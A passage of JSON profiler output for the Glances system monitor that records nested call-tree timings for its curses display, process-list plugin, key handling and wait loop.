\"get_info\\u0000/home/nicolargo/dev/glances/glances/cpu_percent.py\\u0000246\",\"time\": 0.001964,\"attributes\": {\"cCpuPercent\": 0.0019637759978650138, \"l252\": 0.0019637759978650138},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001937\",\"time\": 0.001964,\"attributes\": {\"l1945\": 0.0019637759978650138},\"children\": [{\"identifier\": \"cpu_freq\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000643\",\"time\": 0.001964,\"attributes\": {\"l676\": 0.0019637759978650138},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001964,\"attributes\": {\"l730\": 0.0019637759978650138},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001964,\"attributes\": {\"l718\": 0.0019637759978650138},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001964,\"attributes\": {\"l682\": 0.0019637759978650138},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001964,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001964,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 2.062977,\"attributes\": {\"cGlancesCursesStandalone\": 2.0629769820006914, \"l1154\": 0.051902260005590506, \"l1169\": 1.006308904987236, \"l1172\": 1.0047658170078648},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051902,\"attributes\": {\"cGlancesCursesStandalone\": 0.051902260005590506, \"l1135\": 0.051902260005590506},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051902,\"attributes\": {\"cGlancesCursesStandalone\": 0.051902260005590506, \"l569\": 0.0499017330002971, \"l603\": 0.0020005270052934065},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049902,\"attributes\": {\"cGlancesCursesStandalone\": 0.0499017330002971, \"l545\": 0.0499017330002971},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049902,\"attributes\": {\"cProgramlistPlugin\": 0.021901566004089545, \"l1101\": 0.047901700003421865, \"cProcesslistPlugin\": 0.02600013399933232, \"cSensorsPlugin\": 0.002000032996875234, \"l1099\": 0.002000032996875234},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.047902,\"attributes\": {\"cProgramlistPlugin\": 0.021901566004089545, \"l587\": 0.04589773500629235, \"cProcesslistPlugin\": 0.02600013399933232, \"l566\": 0.002003964997129515},\"children\": [{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.021902,\"attributes\": {\"cProgramlistPlugin\": 0.021901566004089545, \"l526\": 0.0019903880020137876, \"l538\": 0.00998708600673126, \"l544\": 0.001991949997318443, \"l539\": 0.0059123500032001175, \"l532\": 0.002019791994825937},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002009,\"attributes\": {\"cProgramlistPlugin\": 0.002009028001339175, \"l361\": 0.002009028001339175},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002009,\"attributes\": {\"cProgramlistPlugin\": 0.002009028001339175, \"l350\": 0.002009028001339175},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002009,\"attributes\": {\"cProgramlistPlugin\": 0.002009028001339175, \"l1251\": 0.002009028001339175},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002009,\"attributes\": {\"l478\": 0.002009028001339175},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.001992,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001992,\"attributes\": {},\"children\": []}]},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001913,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001913,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001998,\"attributes\": {\"cProgramlistPlugin\": 0.001998314997763373, \"l308\": 0.001998314997763373},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020026459969813004, \"l405\": 0.0020026459969813004},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.0019969370041508228, \"l303\": 0.0019969370041508228},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002020,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001980,\"attributes\": {\"cProgramlistPlugin\": 0.0019801600064965896, \"l359\": 0.0019801600064965896},\"children\": [{\"identifier\": \"get_conf_value\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001003\",\"time\": 0.001980,\"attributes\": {\"cProgramlistPlugin\": 0.0019801600064965896, \"l1020\": 0.0019801600064965896},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001980,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.004000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002004,\"attributes\": {\"l824\": 0.002003964997129515},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002004,\"attributes\": {\"l773\": 0.002003964997129515},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.023996,\"attributes\": {\"cProcesslistPlugin\": 0.023996169002202805, \"l538\": 0.023996169002202805},\"children\": [{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019974050010205247, \"l471\": 0.0019974050010205247},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019974050010205247, \"l467\": 0.0019974050010205247},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997019990114495, \"l309\": 0.0019997019990114495},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997019990114495, \"l885\": 0.0019997019990114495},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997019990114495, \"l907\": 0.0019997019990114495},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997019990114495, \"l991\": 0.0019997019990114495},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999719999730587, \"l325\": 0.001999719999730587},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999719999730587, \"l882\": 0.001999719999730587},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999719999730587, \"l902\": 0.001999719999730587},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002000,\"attributes\": {\"cGlancesThresholds\": 0.001999719999730587, \"l47\": 0.001999719999730587},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995430047856644, \"l360\": 0.0019995430047856644},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995430047856644, \"l340\": 0.0019995430047856644},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019995430047856644, \"l1251\": 0.0019995430047856644},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002000,\"attributes\": {\"l445\": 0.0019995430047856644},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.006000,\"attributes\": {\"cProcesslistPlugin\": 0.005999716995575, \"l325\": 0.004000713990535587, \"l324\": 0.0019990030050394125},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000568994844798, \"l857\": 0.002000568994844798},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000568994844798, \"l965\": 0.002000568994844798},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000144995690789, \"l848\": 0.002000144995690789},\"children\": [{\"identifier\": \"get_stat_name\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000794\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000144995690789, \"l801\": 0.002000144995690789},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.002010879004956223, \"l429\": 0.002010879004956223},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.002010879004956223, \"l280\": 0.002010879004956223},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001990,\"attributes\": {\"cProcesslistPlugin\": 0.001989546995901037, \"l360\": 0.001989546995901037},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.001990,\"attributes\": {\"cProcesslistPlugin\": 0.001989546995901037, \"l340\": 0.001989546995901037},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.001990,\"attributes\": {\"cProcesslistPlugin\": 0.001989546995901037, \"l1251\": 0.001989546995901037},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.001990,\"attributes\": {\"l459\": 0.001989546995901037},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001990,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999337997403927, \"l324\": 0.001999337997403927},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005710030090995, \"l309\": 0.0020005710030090995},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005710030090995, \"l882\": 0.0020005710030090995},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005710030090995, \"l902\": 0.0020005710030090995},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.002001,\"attributes\": {\"cGlancesThresholds\": 0.0020005710030090995, \"l48\": 0.0020005710030090995},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019997470008092932, \"l405\": 0.0019997470008092932},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000257\",\"time\": 0.002000,\"attributes\": {\"cSensorsPlugin\": 0.002000032996875234, \"l281\": 0.002000032996875234},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020005270052934065, \"l845\": 0.0020005270052934065},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020005270052934065, \"l1094\": 0.0020005270052934065},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020005270052934065, \"l1032\": 0.0020005270052934065},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101209,\"attributes\": {\"cGlancesCursesStandalone\": 0.10120867799560074, \"l291\": 0.10120867799560074},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101209,\"attributes\": {\"cGlancesCursesStandalone\": 0.10120867799560074, \"l260\": 0.10120867799560074},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101209,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101209,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100450,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045021599944448, \"l1202\": 0.10045021599944448},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100450,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100450,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100539,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053900600178167, \"l291\": 0.10053900600178167},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100539,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053900600178167, \"l260\": 0.10053900600178167},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100539,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100539,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100447,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044741599995177, \"l1202\": 0.10044741599995177},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100447,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100447,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100336,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033580599701963, \"l291\": 0.10033580599701963},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100336,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033580599701963, \"l260\": 0.10033580599701963},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100336,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100336,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100506,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050578100344865, \"l1202\": 0.10050578100344865},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100506,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100506,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100598,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059821500180988, \"l291\": 0.10059821500180988},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100598,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059821500180988, \"l260\": 0.10059821500180988},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100598,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100598,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100519,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051895799551858, \"l1202\": 0.10051895799551858},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100519,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100519,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100589,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058887400373351, \"l291\": 0.10058887400373351},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100589,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058887400373351, \"l260\": 0.10058887400373351},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100589,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100589,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100355,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035484399850247, \"l1202\": 0.10035484399850247},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100355,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100355,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100548,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005483999979333, \"l291\": 0.1005483999979333},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100548,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005483999979333, \"l260\": 0.1005483999979333},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100548,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100548,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100410,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040971400303533, \"l1202\": 0.10040971400303533},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100410,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100410,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100621,\"attributes\": {\"cGlancesCursesStandalone\": 0.10062078299961286, \"l291\": 0.10062078299961286},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100621,\"attributes\": {\"cGlancesCursesStandalone\": 0.10062078299961286, \"l260\": 0.10062078299961286},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100621,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100621,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100553,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055250600271393, \"l1202\": 0.10055250600271393},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100553,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100553,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100599,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059928999544354, \"l291\": 0.10059928999544354},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100599,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059928999544354, \"l260\": 0.10059928999544354},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100599,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100599,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100508,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005077740046545, \"l1202\": 0.1005077740046545},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100508,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100508,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100661,\"attributes\": {\"cGlancesCursesStandalone\": 0.10066097999515478, \"l291\": 0.10066097999515478},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100661,\"attributes\": {\"cGlancesCursesStandalone\": 0.10066097999515478, \"l260\": 0.10066097999515478},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100661,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100661,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100496,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049627099942882, \"l1202\": 0.10049627099942882},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100496,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100496,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100609,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060887299914612, \"l291\": 0.10060887299914612},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100609,\"attributes\": {\"cGlancesCursesStandalone\": 0.10060887299914612, \"l260\": 0.10060887299914612},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100609,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100609,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100522,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005223370011663, \"l1202\": 0.1005223370011663},\"children\": [{\"identifier\": 